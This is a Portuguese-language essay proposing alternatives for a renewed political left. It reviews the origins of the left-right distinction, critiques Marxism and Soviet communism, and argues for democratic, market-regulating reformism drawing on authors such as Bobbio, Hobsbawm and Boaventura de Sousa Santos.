ALTERNATIVAS PARA UMA NOVA ESQUERDA

ALTERNATIVAS PARA UMA NOVA ESQUERDA

ALTERNATIVAS PARA UMA NOVA
ESQUERDA

Francisco Fernandes Ladeira
Graduado em Geografia pela Universidade Presidente Antônio
Carlos (UNIPAC), especialista em: Brasil, Estado e Sociedade pela Universidade
Federal de Juiz de Fora (UFJF), professor de Geografia do Centro Educacional
Aprendiz.

 [email protected]

Resumo:
O
artigo em questão apresenta algumas colocações sobre a esquerda política. O
conteúdo exposto abrange a origem histórica do termo esquerda, no final do
século XVIII, e suas posteriores acepções ao longo dos anos. Durante um período
considerável as ideias marxistas foram predominantes no pensamento de esquerda.
Esta postura ideológica, de certa forma, prejudicou as ações de seus
militantes, limitando o discurso esquerdista à luta de classes e à revolução
socialista. As profundas transformações político-econômicas ocorridas nas
últimas décadas, como o colapso do comunismo soviético e a crise financeira
capitalista, colocam novas questões para a esquerda global. Deste modo, a
partir do confronto de ideias presentes nas obras de importantes intelectuais,
buscam-se apresentar possíveis alternativas para os movimentos esquerdistas neste
início de século.  

Palavras-chave: esquerda; socialismo;
Marx; marxismo; União Soviética.

Abstract: The article in question points some
placements about the political left. The content displayed covers the
historical origin of the left term, in the end of the eighteenth century, and
its subsequent meanings over the years. During a considerable period, the
Marxist ideas were prevalent in left thinking. This ideological stance, to some
extent, harmed the actions of their militants, limiting the leftist discourse
to the class struggle, and to the socialist revolution. The profound political
and economic changes that have occurred in recent decades, as the collapse of
Soviet communism and   capitalist financial crisis, pose new questions for the
global left. Thus, from the clash of ideas presents in the works of important
intellectuals, we seek to present possible alternatives for leftist movements
in this new century.

Keywords: left. Socialist. Marx.
Marxist. Soviet.

Introdução

           

            O termo “esquerda”,
relacionado
ao espectro político, tal como seu antípoda “direita”,
surge a partir
dos acontecimentos que desencadeariam na Revolução
Francesa
, no final do seculo XVIII.   

                                                                                                              

                   Na
época os adjetivos esquerda e direita foram utilizados em referência à
disposição dos assentos na Assembleia dos Estados Gerais. O Terceiro Estado[1],
defensor de reformas liberais, posicionou-se à esquerda do rei.  Já os setores
da sociedade francesa favoráveis à manutenção do status quo dominante,
clero e nobreza (respectivamente Primeiro e Segundo Estado), estavam à direita
do monarca.

Após
a queda da Bastilha a esquerda foi vinculado à corrente jacobina: “revolucionários
radicais”, que aspiravam, entre outras mudanças, à adoção do regime
republicano, à secularização do Estado e à concessão de benefícios às camadas
populares. Por outro lado, a direita ficou associada aos girondinos: “revolucionários
moderados”, que pretendiam garantir as conquistas da Revolução apenas para a burguesia,
excluindo os setores sociais menos abastados das principais decisões políticas.

No
decorrer dos anos novas acepções foram incorporadas aos conceitos de esquerda e
direita. Para Touraine (1999), a direita enfatiza o crescimento econômico, e a
esquerda, o desenvolvimento social. Sader (1997) ressalta que os adeptos da
direta aceitam, convivem e justificam as crescentes desigualdades entre os
homens, relacionando os destinos de cada indivíduo à lógica do mercado; em
contrapartida, os adeptos da esquerda assumem a luta por justiça social.  Segundo
Edgar Morin: “a direita polariza as soluções de ordem, hierarquia,
conformidade; e a esquerda, as soluções de liberdade, igualdade,
solidariedade.” (MORIN, 1986, p. 61).                                                                                                                                                


de acordo com Norberto Bobbio, “[…] esquerdistas são os partidários da
melhoria das condições de vida da maioria da população, enquanto direitistas
são os partidários da conservação dos privilégios das elites tradicionais”.
(BOBBIO apud POMPEU, 2007, p. 31).

Para
Dino Confrancesco, “[…] o homem de direita é aquele que se preocupa […] em
salvaguardar a tradição; o homem de esquerda […] pretende […] libertar seus
semelhantes das cadeias a eles impostas pelos privilégios de raça, classe, etc.”.
(CONFRANCESCO, 1990, p. 403 apud BOBBIO, 2001, p. 97).                                                                                                  Deste
modo, todos aqueles que anelam por uma sociedade mais justa e equilibrada, que
garanta o direito da grande maioria ao acesso à cidadania plena, podem ser
considerados, sob o ponto de vista ideológico, esquerdistas.

            No
entanto muitos ainda cometem o equívoco de relacionar a esquerda exclusivamente
ao pensamento marxista[2]
e aos ideais socialistas (como se os termos socialismo e esquerda fossem
intercambiáveis, ou mesmo sinônimos). De acordo com este ponto de vista, pertencer
a esquerda significaria coadunar (muitas vezes de maneira axiomática) com as
ideias de Marx. Já outras aferições relacionam a esquerda à frustrada
experiência socialista na antiga União Soviética.

            Assim
talvez o grande erro de boa parte da esquerda e de seus intérpretes seja
reduzir a plataforma esquerdista aos preceitos socialistas e marxistas.

Marx, marxismo e socialismo

Evidentemente
não se pretende aqui negar a importância de Karl Marx. Sem dúvida o filósofo prussiano
foi um dos nomes mais influentes da história. Sua obra mudou de maneira radical
o pensamento político da humanidade. O diagnóstico por ele realizado acerca do
sistema capitalista é grande referência para diversos estudos em ciências
sociais e para a conscientização e organização dos trabalhadores.                                                              Todavia
é plausível questionar alguns pontos-chave do pensamento marxiano, como o materialismo
histórico e a revolução do proletariado.                                                              Para
Marx, o fenômeno material é o fator primordial ao qual estão subordinadas as ideias. De
acordo com o materialismo histórico toda a estrutura política, jurídica e
religiosa (superestrutura) de uma determinada sociedade é consequência de sua
organização econômica (infraestrutura). Logo a ideologia dominante de uma época
será sempre a ideologia da classe detentora dos meios de produção (no caso
capitalista, a burguesia) [3].
                                         A partir destes pressupostos, Marx
lançou as bases de uma teoria economicista que fora sistematicamente
questionada pelos seus críticos:

[…]
Os fatores da história são tão complexos e interligados que toda doutrina
simplista, pretendendo determinar qual o principal dentre eles, conduz sempre a
conclusões e aplicações errôneas. Sobretudo quando […] entende por “fator
principal” um fator que será sempre causa, isto é, suscetível de influenciar os
outros sem ser nunca por eles influenciado. (BOUTHOUL; MOSCA, 1968, p.280). 

            Segundo
o pensamento marxiano a história se desenvolve de forma linear, em diferentes
etapas, movidas, sobretudo, pelas contradições originadas da organização do
sistema de produção (luta de classes).
“Em um caráter amplo, os modos de produção asiático,
antigo, feudal e burguês moderno podem ser considerados como épocas
progressivas da formação econômica da sociedade”. (MARX, 1977, p. 23).

Cada
fase do desenvolvimento da humanidade produz o germe de sua destruição. No
sistema feudal essa função coube à burguesia.  No sistema capitalista, a classe
operária, explorada pelos patrões, deveria se organizar e promover a revolução
socialista, transformando os meios de produção em propriedades coletivas.

As relações de produção burguesas são a última forma
contraditória do processo de produção social, contraditória não no sentido de
uma contradição individual, mas de uma contradição que nasce das condições de
existência social dos indivíduos. No entanto, as forças produtivas que se
desenvolvem no seio da sociedade burguesa criam ao mesmo tempo as condições
materiais para resolver esta contradição. Com esta organização social termina,
assim, a Pré-História da sociedade humana. (MARX, 1977, p. 23).

                                              

Instaurado
o regime socialista, caberia ao proletariado apoderar-se do aparelho estatal e
eliminar as diferenças sociais originadas pelo sistema capitalista.[4]
Corrigidas as distorções sociais, instituições como o Estado, o mercado e a
propriedade privada deixariam de existir. Surgiria então a derradeira etapa do
desenvolvimento da humanidade: o comunismo. “[…
]
No
lugar da sociedade burguesa antiga, com suas classes, teremos uma associação na
qual o desenvolvimento livre de cada um é a condição para o desenvolvimento
livre de todos.” (MARX; ENGELS, 1998, p. 47).

Entretanto,
é anacrônico e ingênuo pensar que em pleno século XXI os trabalhadores se
organizarão para tomar os meios de produção dos patrões e posteriormente
promover uma sociedade igualitária.                                                                                                            Numa
época em que a crescente robotização fabril diminui as ofertas de emprego e o
processo produtivo muda incessantemente de um país para outro, é difícil
conceber uma solidariedade global entre o proletariado. “[Marx] errou em sua
idealização romântica da classe trabalhadora, o que foi resultado de um plano
puramente teórico e não da observação humana da classe trabalhadora”. (FROMM,
1983, p. 254).  

            Karl
Popper (1987) questiona a cientificidade e a legitimidade empírica dos
preceitos marxistas. De acordo com o autor, o método científico tem como pressuposto
detectar a falseabilidade, e não a veridicidade, das hipóteses de que parte;
verificando assim até que ponto elas resistem a hipóteses contrárias. O
marxismo, por ser uma teoria que se abstém de qualquer teste empírico negativo,
não é “falsificável”; consequentemente não pode ser qualificado como ciência,
mas como pseudociência. Adeptos do marxismo não procuram adequar suas
ideias à realidade, mas a realidade às suas ideias:

           

Um
marxista não era capaz de olhar para um jornal sem encontrar em todas as páginas,
desde os artigos de fundo até os anúncios, provas que consistiam em
verificações da luta de classe; e encontrá-las-ia sempre também (e em especial)
naquilo que o jornal não dizia. (POPPER, 1987, p. 180).  

Em
contrapartida, para Adolfo Sánchez Vázquez (2001), o marxismo oferece a
alternativa mais racional, eficaz e fecunda para fomentar uma sociedade mais
justa, sem exploração nem dominação de qualquer tipo. Segundo o autor, o
marxismo permite não apenas entender, mas também transformar a realidade.  “[…]
Enquanto existir a realidade que torna necessária e justifica sua existência –
o capitalismo, a alienação dos indivíduos, a exploração dos homens e dos povos
-, o marxismo não pode deixar de existir”. (VÁZQUEZ, 2001, p. 251).

Experiência soviética

Como
já abordado anteriormente, Marx acreditava que o advento do socialismo seria
possível apenas em países adiantados e industrializados. Nestas nações a classe
trabalhadora, “bem organizada e cada vez mais pobre, […] teria razões, desejo
e a necessária força para derrotar o capitalismo”. (FISCHER, 1969, p. 05).

[…]
Com o desenvolvimento da indústria, o proletariado não apenas se multiplica;
concentra-se em massas cada vez maiores, sua força aumenta e ele sente mais
tudo isso. Os interesses, as condições de existência no interior do
proletariado igualam-se cada vez mais, à medida que a maquinaria elimina todas
as distinções de trabalho e reduz, quase por toda parte, os salários a um mesmo
nível baixo. […] O progresso da indústria […] substitui o isolamento dos
operários, resultante da concorrência, por sua união revolucionária resultante
da associação. […] O desenvolvimento da grande indústria abala sob os pés da
burguesia a própria base sobre a qual ela produz e se apropria dos produtos. A
burguesia produz, acima de tudo, seus próprios coveiros. Seu declínio e a
vitória do proletariado são igualmente inevitáveis. (MARX; ENGELS, 2000, p. 53;
57).

Engels
certa vez escreveu: “quem diz que uma revolução socialista pode ser realizada
em um país onde não haja proletariado ou burguesia prova, com essa declaração,
que ainda precisa aprender o básico do socialismo”. (ENGELS apud MACKENZIE,
1967, p. 173).

Ao
contrário do previsto por Marx e Engels, a primeira insurreição de cunho
socialista da história ocorreu em outubro de 1917 [5]
na atrasada Rússia[6]
(onde o proletariado industrial, predestinado coveiro do capitalismo segundo os
pressupostos marxianos, era apenas uma pequena minoria).

Entre
1918 e 1922 o país foi palco de uma sangrenta guerra civil entre os exércitos 
branco
(defensor das ideias burguesas) e vermelho (defensor do sistema comunista). O
Exército Vermelho sagrou-se vencedor do conflito
, e em dezembro de 1922, sob o
comando bolchevique, foi instituída a União das Repúblicas Socialistas
Soviéticas (URSS).                      A partir de então, com a estabilidade
política, o governo de Moscou teria a oportunidade inédita de colocar em
prática as ideias marxianas.                                                  

A
Revolução de Outubro produziu de longe o mais formidável movimento
revolucionário organizado da história moderna. […] O comunismo soviético
proclamou-se um sistema alternativo e superior ao capitalismo, e destinado a
triunfar sobre ele. […] Uma onda de revolução varreu o globo nos anos após
Outubro [“sovietes” formados por operários em Cuba, organizações estudantis
revolucionários irromperam na China e na Argentina, movimentos de libertação na
Indonésia]. […] “Essa ação do povo russo”, disse um jornal de província
turco, “um dia no futuro se tornará um sol e iluminará toda a humanidade”.
[…] Em suma, a Revolução de Outubro foi universalmente conhecida como um
movimento que abalou o mundo. (HOBSBAWM, 1995, p. 62; 63; 74).

Nicolai
Berdiaev, importante intelectual russo do século passado, acreditava que a revolução
socialista em seu país poderia ensejar o surgimento de uma sociedade sem
contrastes econômicos:  

[Berdiaev
via] na revolução marxista […] a possibilidade de criação de uma nova
sociedade […] um sinal de libertação tanto espiritual quanto social do homem,
uma ascensão do espírito de liberdade […] um plano para a reconstrução da
vida no mundo […] [em que] o homem deve trabalhar para a criação de uma
sociedade sem classes, onde possa estar mais preocupado com o bem da comunidade
que com seus interesses pessoais. (BERDIAEV apud KÜHNER, 1972, p. 219,
220).

Porém
a primeira nação socialista do planeta não promoveu a almejada sociedade
igualitária. Muito pelo contrário: só veio a aumentar a exploração do homem
pelo homem[7],
sustentar um aparelho estatal extremamente centralizado e burocratizado,
oprimir liberdades individuais e promover vastos genocídios contra minorias
étnicas em seu território. O Estado soviético foi uma poderosa máquina de
extermínio que matou mais de 20 milhões de pessoas. A “[…] mais impiedosa
organização estatal que o mundo moderno jamais viu […]” (FROMM, 1983, p. 250).

 “Se
o socialismo real instaura uma opressão pior do que a dos sistemas capitalistas
do Ocidente liberal, e mais duradoura que a da pior das ditaduras militares na
América Latina, perde-se o sentido evidente da expressão ‘revolução socialista’.”
(MORIN, 1986, p. 64).  

            Problemas
políticos, econômicos e conflitos étnicos contribuíram para o colapso da URSS
em 1991. Este fato histórico também representou o término da Guerra Fria,
conflito ideológico entre o capitalismo estadunidense e o socialismo soviético.
                                     O fenecer do “socialismo real” foi utilizado
pela direita como argumento para justificar a impossibilidade de regimes
voltados para melhorias e reformas sociais.                Para Francis Fukuyama,
o capitalismo e a democracia burguesa enfim triunfaram, e a humanidade havia
atingido o estágio final de sua evolução. Segundo Thomas Friedman, o término da
Guerra Fria “inclinou a balança do poder mundial para o lado dos defensores da
governança democrática, consensual, voltada para o livre mercado, em detrimento
dos adeptos do governo autoritário, com economias de planejamento centralizado”
(FRIEDMAN, 2007, p. 67). Joana Andrade e Alexandre da Silva (2003) ressaltam
que, nas últimas décadas do século XX, o slogan “there is no alternative” [não
há alternativa, além do sistema capitalista] passou a ser corrente entre a nova
direita neoliberal, sobretudo a partir da queda do Muro de Berlim e do colapso
da União Soviética.

            O
sistema capitalista é realmente a única saída para a humanidade? Estaríamos
fadados a viver em uma sociedade cada vez mais voltada para o consumo?

            Talvez
Fukuyama, Friedman, e os direitistas em geral tenham sido atingidos pelo calor
dos fatos; é extremamente complicado e controverso realizar determinada análise
histórica sem o distanciamento temporal necessário. O fracasso do socialismo
soviético não significa necessariamente que o modelo capitalista tenha sido bem
sucedido.                                Como bem lembrou Bruno Latour no livro
Jamais Fomos Modernos, o “triunfo capitalista” foi efêmero. Concomitante
à queda do socialismo no Leste Europeu e na União Soviética, as primeiras
conferências sobre o estado ambiental do planeta frustraram as esperanças
capitalistas de conquista ilimitada sobre a natureza.  

Segundo
o historiador Eric
Hobsbawm, no princípio da década de 1990, o
mundo capitalista “[…] viu-se novamente às voltas com os problemas da época
do entreguerras que a Era de Ouro parecia ter eliminado: desemprego em massa,
depressões cíclicas severas, contraposição cada vez mais espetacular de
mendigos sem teto a luxo abundante […]. (HOBSBAWM, 1995, p. 19).

De
acordo com Bresser-Pereira (2000), o paradigma neoliberal, insistentemente
defendido pela direita nas últimas décadas, mostrou-se economicamente
equivocado e politicamente desastroso:

[…]
A Nova Direita neoliberal não conseguiu cumprir suas promessas. Mercados
descontrolados produziram graus de insegurança social e de concentração de
renda sem precedentes, sem que houvesse, em contrapartida, crescimento
econômico. (BRESSER-PEREIRA, 2000, p. 150).

Também
é importante salientar que a atual crise econômica capitalista, iniciada com o
estouro da bolha imobiliária nos Estados Unidos, evidenciou um sistema não tão
sólido quanto aparenta.

[Há]
uma queda na confiança no capitalismo. Com a crise financeira e seus efeitos
sobre a economia global, a confiança no capitalismo de livre mercado está em
seu pior momento em décadas, e há um crescente apelo por uma fiscalização
regulamentar mais rigorosa. Há um notável recuo no pêndulo referente às formas
extremas de liberalismo econômico […]. (YAZIJI, 2010, p. 12).

 

Assim
como a esquerda de alguma forma ficou constrangida com a queda do Muro de
Berlim; atualmente a direita precisa explicar uma crise econômica provocada
justamente pelo excesso de liberdade do mercado. A crença de Adam Smith em um
mercado autorregulável que promove o bem estar dos homens é tão falaciosa quanto
a sociedade comunista de Marx.

Novas estratégias

Diante
deste complexo e desafiador quadro de incertezas, quais estratégias poderiam
ser utilizadas pela esquerda para o século XXI?                                                                                   Conforme
o apontado anteriormente, as recentes transformações político-econômicas
ocorridas nas últimas décadas, principalmente o colapso do comunismo soviético
e a crise financeira capitalista, colocam novas questões para o pensamento
político global.                         Neste contexto, a “velha esquerda” –
marxista, socialista e revolucionária por excelência – mostra-se obsoleta e
incapaz de interpretar e agir de forma consistente sobre o mundo contemporâneo.
“A Esquerda necessita de uma visão […] simultaneamente mais abrangente e mais
exigente que a de Marx.” (ROGERS; STREECK, 1997, p. 184).  
Doravante, é
imprescindível amalgamar novas ideias a sua plataforma.

A
liquidação da esquerda anterior, […] por sua relativa debilidade, abriu campo
para o surgimento de uma nova esquerda, desvinculada dos erros mais gritantes
daquela força derrotada. Dentre eles estavam o atrelamento ao aparelho do
Estado, as alianças subordinadas com frações burguesas, as posições
internacionais de vinculação acrítica à URSS, a rigidez organizativa, a falta
de criatividade política e cultural. (SADER, 1997, p. 11).

Diversos
analistas asseveram a necessidade de uma esquerda mais moderada e menos
ortodoxa. Para estes pensadores – ao contrário de setores da “antiga esquerda”,
que apregoam o fim do Estado, do mercado e da propriedade privada – é preciso
“reestruturar” e não “eliminar” tais instituições. Defendem também a via
democrática em detrimento da via insurrecional como o melhor caminho para a esquerda
chegar ao poder.   

Manuel
Escudero
(1997) ressalta que a esquerda deve evitar a tentação utópica de
construir sistemas globais perfeitos, e rejeitar qualquer concepção progressiva
e determinista da história. Para David Miliband, mais do que criticar as
injustiças do presente, é preciso fornecer esperanças realistas de mudança no
futuro.  “A tarefa da esquerda é […] menos mostrar que a reforma é necessária
do que mostrar que ela é possível”. (MILIBAND, 1997, p. 20).

Joana
Andrade e Alexandre da Silva (2003) descrevem como principais características
da nova esquerda: o abandono progressivo de vários pressupostos básicos das
teses marxistas, a adoção de um “discurso único” em defesa do aperfeiçoamento
gradual do sistema capitalista através de reformas legislativas e a renúncia ao
método revolucionário.

Michel
Rocard (1997), Gérald Collomb (2005) e Robert Kuttner (1997) enfatizam que o
mercado (instituição historicamente repudiada e combatida por setores da
esquerda tradicional) não deve ser abolido, mas organizado e regulado pelo
poder estatal e pela sociedade.                                                                                                                                 Segundo
Rocard, para haver uma economia bem sucedida não há alternativa fora do
mercado. No entanto, como a livre circulação de mercadorias e capitais
geralmente acentua as desigualdades sociais, faz-se necessário uma maior
regulamentação dos mercados por parte do Estado. Collomb defende uma economia
mundial baseada em um mercado racionalizado, voltado para a promoção do bem
público. Já Kuttner adverte que o mercado, por ser instrumento de poderosos
atores privados cujos interesses não coincidem com os anseios da maioria da
população, deve ser socialmente controlado e dirigido. “A Esquerda tem de
representar um paradigma alternativo. Deve argumentar que os mercados são
instáveis, ineficientes e injustos”. (KUTTNER, 1997, p. 204).                                                  

Norberto
Bobbio (1983) propõe um modelo político que combine socialismo, democracia e
liberdade. Apesar de aparentemente contraditórios, tanto o socialismo quanto a
democracia enfatizam as aspirações coletivas em detrimento dos interesses
individuais; logo, segundo o autor, podem ser conciliados.

A
exigência de democracia nasce da constatação de que em uma sociedade socialista
os abusos do poder são tão possíveis quanto em uma sociedade capitalista. […]
Se é verdade que um dos argumentos a favor da democracia é que ela permite
melhor descobrir quais são, em determinadas circunstâncias, os interesses
coletivos, não se compreende como se possa pensar que democracia e socialismo
não estejam destinados a seguir juntos e de acordo, […] a separação dos dois
seria nociva à própria noção de socialismo, já que, como se afirma, o
socialismo é um sistema que permite satisfazer as necessidades das pessoas em
maior medida que o sistema capitalista. (BOBBIO, 1983, p. 87).

Portanto,
uma democracia sem o equilíbrio econômico socialista e também um socialismo sem
a liberdade de escolha democrática são, respectivamente, uma democracia e um
socialismo imperfeitos.

Para
Vázquez (2001), a democracia política é condição necessária, mas não
suficiente, para fomentar uma sociedade melhor. Deste modo, os preceitos
democráticos não devem se resumir apenas à participação formal e ao sistema
representativo; é preciso a democratização de todas as esferas da vida social e
econômica: socializar o poder político e os meios de produção, aumentar a participação
efetiva dos cidadãos nas principais tomadas de decisão e garantir o controle do
Estado pela sociedade.                                                                                 Já
Giddens (1996) defende uma democracia dialógica onde as relações sociais
que envolvem diferentes níveis hierárquicos – como entre pais e filhos, patrões
e empregados, homens e mulheres – possam ser intermediados pelo diálogo entre
ambas as partes em questão, e não pela imposição das ideias dos atores sociais
mais poderosos.

Boaventura
de Souza Santos (2008) afirma que a luta política dos esquerdistas deve ir além
da clássica dicotomia proletariado versus capitalistas[8].
Devido à grande complexidade e diversidade do mundo atual, as reivindicações
dos que advogam pelas causas sociais devem amalgamar os anseios de todos os
setores excluídos. Além de pleitear por justiça social, é preciso reivindicar
cidadania digna para os grupos que historicamente são alvos de preconceito (negros,
mulheres, homossexuais, trabalhadores rurais sem-terra e comunidades indígenas).

Para
Souza Santos, o Fórum Social Mundial, evento que representa um contraponto à
globalização hegemônica, sintetiza as causas dos movimentos sociais
contemporâneos:                        

O
FSM constitui uma das mais consistentes manifestações de uma sociedade civil
global contra-hegemônica […]. Apesar de se apresentar como agente de mudança
social […], [ao contrário de Marx] rejeita o conceito de um sujeito histórico
privilegiado […] não confere prioridade a nenhum actor social específico
neste processo de mudança. Não obedece a nenhuma ideologia claramente definida.
[…] [Privilegia] o inconformismo em detrimento da revolução. […] [Defende]
a democracia […] em detrimento de modelos fechados como o do socialismo de
Estado. (SANTOS, 2008, p. 415; 416; 418).

Eric
Hobsbawm (1992) elege como plataformas sociais para o século XXI: a causa
ecológica, diminuir a desigualdade econômica entre países desenvolvidos e
países subdesenvolvidos e a não subordinação da humanidade à economia.                             

Por
outro lado, ecologistas radicais e alguns setores da esquerda ainda apregoam a
negação de todo avanço tecnológico propiciado pelo modo de produção capitalista.
Idealizam uma possível volta
rousseauniana   do ser humano ao seu estado natural; uma espécie de
comunismo primitivo em que todos são felizes e onde não existam exploradores e
explorados.    Jonathan Porritt e David Winner, citados por Giddens (1996), asseveram
a necessidade de “uma revolução não-violenta para derrubar toda nossa sociedade
industrial poluidora, saqueadora e materialista e, em seu lugar, criar uma nova
ordem social e econômica que permitirá aos seres humanos viverem em harmonia
com o planeta”. (PORRITT; WINNER apud GIDDENS, 1996, p. 237).

            Contudo,
se utilizarmos o mínimo senso de realidade, concluiu-se que tal cenário é
bastante improvável. O vertiginoso processo de modernização ao qual passa a
humanidade é praticamente irreversível. Somente uma grande catástrofe natural,
ou uma série de acontecimentos singulares, poderiam ensejar a volta do ser
humano à natureza.  

            As
inovações tecnológicas são inexoráveis, não há como negar. Sendo assim, é
preciso utilizá-las da maneira mais proveitosa possível:  

[Cabe]
aos homens criar mecanismos para que os efeitos positivos, benéficos e
desejáveis do progresso, da modernidade e dos avanços tecnocientíficos, consigam
alcançar o maior número possível de pessoas no planeta […]. (ALMEIDA, 2005).

O
espaço virtual, por exemplo, é utilizado tanto para difundir valores e hábitos
de consumo capitalistas, como pode ser um instrumento para aqueles que, de
alguma forma, não concordam com o sistema vigente. Portanto, este meio de
comunicação é um importante elo entre os diversos movimentos de esquerda do
planeta.
 “O ciberespaço não somente permite que qualquer um se exprima, como
autoriza um grau de acesso à informação superior a tudo aquilo que se podia
experimentar antes”. (LEVY apud STYCER, 2003, p. 57).

            Todavia,
apesar de sua inegável importância, o espaço virtual ainda se mostra
ineficiente como mecanismo para a conscientização da grande maioria da
população. É necessária uma completa democratização dos meios de comunicação de
massa. Meios estes que estão monopolizados por políticos conservadores e
poderosos empresários que direcionam suas concessões midiáticas de acordo com
os interesses do grande capital e da ideologia direitista. “O horizonte para um
outro mundo possível não poderá abrir mão de políticas públicas democráticas
para os serviços e espaços de comunicação […].” (MORAES apud STYCER,
2003, p. 57).

Não
foi o intuito do presente trabalho delinear um quadro definitivo de estratégias
a serem seguidas pelos movimentos de esquerda. Tampouco apresentar as ideias
aqui esboçadas como as únicas viáveis. Este artigo aponta, e não mais do que
isso, apenas algumas possíveis alternativas para renovar o pensamento
esquerdista. O conteúdo aqui exposto está aberto à contestação.

            É
importante ressaltar que a plataforma da esquerda pode ir além de Marx e do
socialismo: a realidade não se resume à luta de classes. As reivindicações de
outros segmentos sociais excluídos, além dos operários, precisam ser
incorporadas aos discursos esquerdistas.       A obra marxiana, ao explicitar a
exploração do trabalho alheio como fator inerente ao capitalismo, é
indubitavelmente importante referencial teórico para compreender a dinâmica do sistema.
Em contrapartida, ao propor a via insurrecional como meio para a superação do
capitalismo e assim chegar a uma sociedade mais justa, mostra-se inviável como
projeto de transformação social.

Deve-se
rejeitar o totalitarismo soviético como exemplo a ser seguido. A história nos
revela que nenhum outro fator substitui a liberdade, o bem supremo do ser
humano.            

Os
militantes esquerdistas precisam se renovar: romper com algumas posições
ortodoxas do passado, concentrar suas atividades mais em ações do que em utopias. Em outros termos: é necessário ser mais pragmático e menos idealista.                                                         Enquanto
pensarmos que um mundo melhor só é possível através de processos
revolucionários estaremos fadados a viver de sonhos. Por outro lado, talvez as
melhorias sociais realmente possam vir a acontecer se nos apegarmos a situações
mais condizentes à realidade: buscar mudanças dentro do próprio sistema ao
invés de solapá-lo.


NOTAS

 

 

[1] Composto pela
grande massa ativa da nação, trabalhadores ocupados nos setores de produção e o
comércio: camponeses, artesões, pequenos proprietários e burgueses, entre
outros. 

 

[2] Pensamento marxista: escritos de
autores seguidores da obra de Marx. Pensamento marxiano: escritos de Marx e em
conjunto com Friedrich Engels.

 

[3] “O conjunto [das] relações de
produção constitui a estrutura econômica da sociedade, a base concreta sobre a
qual se eleva uma superestrutura jurídica e política e à qual correspondem
determinadas formas de consciência social. O modo de produção da vida material
condiciona o desenvolvimento da vida social, política e intelectual em geral. Não é a consciência dos homens que determina o seu ser; é o seu ser social que,
inversamente, determina a sua consciência”. (MARX, 1977, p. 23).

 

[4] Marx utiliza a expressão ‘ditadura do proletariado’ para designar a
forma de Estado que corresponde ao período transição do capitalismo para o
comunismo: “Entre a sociedade capitalista e a sociedade comunista situa-se o
período de transformação revolucionária da primeira na segunda. A este período
corresponde também um período político de transição, cujo Estado não pode ser
outro que não a ditadura revolucionária do proletariado” (MARX, p. 23 apud
VÁZQUEZ, 2001, p. 77)

 

[5] Na época a Rússia seguia o
calendário juliano, treze dias atrasado em relação ao calendário gregoriano,
adotado pelo ocidente. Assim, a “Revolução de Outubro” ocorreu em novembro de
acordo com o calendário ocidental.

 

[6] “[…] O paradoxo do socialismo é
que seus êxitos se deram justamente naquelas sociedades onde o capitalismo era
fraco, onde quase não havia proletariado e onde a revolução foi feita pela
aliança de intelectuais com camponeses ávidos por terras. Medidas socialistas
não vieram como uma resposta à industrialização, mas antes como um meio de
consegui-la por métodos totalitários”. (MACKENZIE, 1967, p. 173).

 

[7] “O Estado burocrático soviético
imprimiu forte sentido militar à organização do trabalho: os campos de trabalho
forçado, também chamados ‘campos de reeducação pelo trabalho’, acabaram se
tornando uma questão delicada para a União Soviética, que, por longo tempo, os
ocultou. […] Nesse tipo de trabalho forçado o número de mortos era enorme.
[…] Na União Soviética […] o trabalhador era apenas um simples executor de
tarefas impostas pelo Estado. […] A classe operária, desprovida de direitos
políticos, civis e sindicais, era assediada pela ‘propaganda oficial
mentirosa’, que pressionava e controlava os trabalhadores, a fim de impedi-los
de contestar, de maneira explícita e aberta, a ordem social vigente”. (CARMO,
1992, p. 55; 58)

 

[8] “As pessoas não identificam mais
seus interesses sociais exclusivamente em termos de classe; a classe não pode
servir como um dispositivo discursivo ou uma categoria mobilizadora através da
qual todos os variados interesses e todas as variadas identidades das pessoas
possam ser reconhecidas e representadas”. (HAAL, 2006, p. 20, 21). 

 

 

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